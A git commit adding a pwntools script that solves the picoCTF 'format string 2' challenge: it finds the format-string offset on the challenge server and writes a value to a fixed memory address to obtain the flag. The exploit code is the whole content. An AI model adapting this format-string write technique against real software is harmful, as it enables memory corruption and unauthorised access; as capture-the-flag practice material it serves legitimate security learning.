format string 2

This commit is contained in:
Maxime Vorwerk
2024-11-02 02:00:29 +01:00
parent 198d87467e
commit b4bd094d7e
5 changed files with 278 additions and 0 deletions

24
format_string_2/sol.py Executable file
View File

@@ -0,0 +1,24 @@
#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"
address = "rhea.picoctf.net"
port = 51393
conn = remote(address, port)
def send_payload(payload):
conn = remote(address, port)
log.info(f"payload: {repr(payload)}")
conn.sendline(payload)
return conn.recvall()
format_string = FmtStr(send_payload)
offset = format_string.offset
payload = fmtstr_payload(offset, {0x404060: 0x67616c66})
log.info(payload)
conn.sendline(payload)
flag = conn.recvall()
log.success(flag)